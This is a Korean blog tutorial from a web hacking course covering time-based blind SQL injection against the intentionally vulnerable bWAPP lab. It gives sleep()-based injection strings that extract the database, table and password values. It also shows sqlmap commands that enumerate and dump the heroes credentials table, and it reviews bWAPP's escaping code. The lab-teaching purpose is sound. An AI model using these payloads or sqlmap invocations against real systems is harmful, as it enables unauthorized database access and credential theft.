정보보안(구버전)/ bWAPP 2019. 2. 7. 19:41

웹 해킹 bWAPP - 25. A1 - Injection - SQL Injection Blind - Time-Based

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

1. Injection

 

 - OWASP Top10 A1 - 악의적인 명령 삽입
 - 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를

   획득할 수 있는 취약점이다.
 - Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션

 

 

 

2. 실습 이전 기본 사항

 

 1) sleep() 함수

 

 - 인자로 들어간 값만큼 지연을 초 단위로 발생

 - Ex) ' or 1=1 and sleep(1)    // AND 앞이 참이면 1초 지연 이후 출력값 반환

 - Ex) ' or 1=2 and sleep(1)    // AND 앞이 거짓이면 지연 없이 출력값 반환

 

 2) length() 함수

 

 - 지정한 문자열의 길이를 반환해주는 함수

 - Ex) length(database())=5    // 데이터베이스 이름 길이가 5인지 확인

 

 

 3) substring() 함수

 

 - 지정한 문자열의 일부를 반환해주는 함수

 - Ex) substring(database(),1,1)='b'   // 데이터베이스 이름의 첫번째 글자가 'b'인지 확인

 

 

 4) 숫자/대소문자 ASCII Code

 

 - 참고 사이트 : https://www.ascii.cl/htmlcodes.htm

 

Symbol

ACSII 10진수

0~9

48~57

A~Z

65~90

a~z

97~122

 

 

 

3. Injection - SQL Injection Blind - Time-Based

 

 - 이 시나리오는 Query 결과를 참/거짓으로 출력하는 페이지를 이용하여 데이터베이스 내용을 추측하는 내용이다.

 - 그러나 이 시나리오는 참/거짓을 구분할 수 없도록 특정 메세지만 출력되기 때문에 sleep() 함수를 이용해야 한다.

 

 

Ex1) Injection - SQL Injection Blind - Time-Based 이해 I

 

 

보안 레벨 선택 및 시나리오 선택

 

 

' or 1=1 인젝션 실시 -> 'The result will be send by e-mail...' 메세지만 출력 -> 참/거짓 구분 안됨

 

 

 

' or 1=1 and sleep(1)# 인젝션 실시 -> 1초 이후 'The result will be send by e-mail...' 메세지 출력

 

 

 

' or 1=2 and sleep(1)# 인젝션 실시 -> 지연 없이 'The result will be send by e-mail...' 메세지 출력

 

 

 

 

Ex2) Injection - SQL Injection Blind - Time-Based 이해 II

 

 

25-0. SQL 인젝션 추가-1.txt

데이터베이스 이름 길이(5글자)를 알기 위한 SQL 인젝션 실시

 

 

 

25-1. SQL 인젝션 추가-2.txt

데이터베이스 이름(bWAPP)을 알기 위한 SQL 인젝션 실시

(' or 1=1 and database()='bWAPP' and sleep(1) #)

 

 

 

25-2. SQL 인젝션 추가-3.txt

bWAPP 데이터베이스 두번째 테이블 이름 길이(6글자)와 이름(heroes)을 알기 위한 SQL 인젝션 실시

(' or 1=1 and (select table_name from information_schema.tables where table_schema='bWAPP' limit 1,1)='heroes' and sleep(1) #)

 

 

 

 

25-3. SQL 인젝션 추가-4.txt

heroes 테이블의 두번째 컬럼 이름 길이(5글자)와 이름(login)을 알기 위한 SQL 인젝션 실시

(' or 1=1 and (select login from heroes limit 2,1)="thor" and sleep(1) #)

 

 

 

25-4. SQL 인젝션 추가-5.txt

heroes 테이블의 login 세번째 컬럼 이름 길이(4글자)와 이름(thor)을 알기 위한 SQL 인젝션 실시

 

 

 

25-5. SQL 인젝션 추가-6.txt

heroes 테이블의 세번째 컬럼 이름 길이(8글자)와 이름(password)을 알기 위한 SQL 인젝션 실시

 

 

 

25-6. SQL 인젝션 추가-7.txt

thor 계정의 패스워드 컬럼 이름 길이(6글자)와 패스워드(Asgard)를 알기 위한 SQL 인젝션 실시

(' or 1=1 and (select password from heroes where login='thor')="Asgard" and sleep(1) #)

 

 

 

 

Ex3) SQLmap을 이용한 공격 실시 I

 

 - 인젝션 유형 : SQL Injection Blind - Time-Based

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search

 

25-7. sqlmap 공격-1.txt

 

  -p : 공격 파라메터 지정

  --threads : 공격 수행 thread 개수 지정

  --level=5 --risk=3 : 최고 레벨 공격까지 수행

  --batch : 질의에 대해서 기본값으로 응답

  --dbs : 데이터베이스 목록 출력


 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch --dbs

 

~ 중간 생략 ~

 

available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql

 

[11:08:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 11:08:19

 

 

 

 

Ex4) SQLmap을 이용한 공격 실시 II

 

 - 인젝션 유형 : SQL Injection Blind - Time-Based

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search

 

25-8. sqlmap 공격-2.txt

 

  -D : 데이터베이스 지정

  --tables : 테이블 목록 출력

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch -D "bWAPP" --tables

 

~ 중간 생략 ~

 

Database: bWAPP
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+

 

[11:12:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 11:12:06

 

 

 

 

Ex5) SQLmap을 이용한 공격 실시 III

 

 - 인젝션 유형 : SQL Injection Blind - Time-Based

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search

 

25-9. sqlmap 공격-3.txt

 

  -T : 테이블 지정

  --columns : 컬럼 목록 출력

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch -T "heroes" --columns

 

~ 중간 생략 ~

 

Database: bWAPP
Table: heroes
[4 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| login    | varchar(100) |
| password | varchar(100) |
| secret   | varchar(100) |
+----------+--------------+

 

[11:17:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 11:17:29

 

 

 

 

Ex6) SQLmap을 이용한 공격 실시 IV

 

 - 인젝션 유형 : SQL Injection Blind - Time-Based

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search

 

25-10. sqlmap 공격-4.txt

 

  -C : 컬럼 지정

  --dump : 데이터베이스 내용 덤프 실시


 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch -T "heroes" -C id,login,password --dump

 

~ 중간 생략 ~

 

Database: bWAPP
Table: heroes
[6 entries]
+----+-----------+----------------+
| id | login     | password       |
+----+-----------+----------------+
| 1  | neo       | trinity        |
| 2  | alice     | loveZombies    |
| 3  | thor      | Asgard         |
| 4  | wolverine | Log@N          |
| 5  | johnny    | m3ph1st0ph3l3s |
| 6  | seline    | m00n           |
+----+-----------+----------------+

 

[11:29:51] [INFO] table 'bWAPP.heroes' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/heroes.csv'
[11:29:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 11:29:51

 

 

 

 

Ex7) 'sqli_15.php' & 'functions_external.php' 파일 내용 확인

 

bee@bee-box:/var/www/bWAPP$ ls -l sqli_15.php
-rw-rw-r-- 1 root www-data 6405 2014-11-02 23:52 sqli_15.php

bee@bee-box:/var/www/bWAPP$ vi sqli_15.php

~ 중간 생략 ~

 

include("functions_external.php");
include("connect.php");

 

// Error handling
error_reporting(0);

 

function sqli($data)
{

    switch($_COOKIE["security_level"])
    {

        case "0" :

 

            $data = no_check($data);
            break;

 

        case "1" :

 

            $data = sqli_check_1($data);
            break;

 

        case "2" :

 

            $data = sqli_check_2($data);
            break;

 

        default :

 

            $data = no_check($data);
            break;

    }

    return $data;

}
 

:q!

 

 

bee@bee-box:/var/www/bWAPP$ gedit functions_external.php

~ 중간 생략 ~

 

function sqli_check_1($data)

{

  

    return addslashes($data);

            // 작은따옴표를 문자열로 이스케이프 실시

}

 

function sqli_check_2($data)

{

  

    return mysql_real_escape_string($data);

            // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

               (NULL, \n, \r, \, ', ", ^Z)

}

 

function sqli_check_3($link, $data)

{

  

    return mysqli_real_escape_string($link, $data);

   

}

 

function sqli_check_4($data)

{

 

    // Not bulletproof

   

    // Replaces a single quote (')

    $input = str_replace("'", "''", $data);

  

    return $input;

   


 

 

 

Ex8) 보안 레벨 'High' 변경

 

 

 

보안 레벨 및 시나리오 선택

 

 

 

25-11. SQL 인젝션 추가-8.txt

SQL 인젝션 실패

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 25. bWAPP Injection - SQL Injection Blind - Time-Based   https://youtu.be/guLLSM4VEFA

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q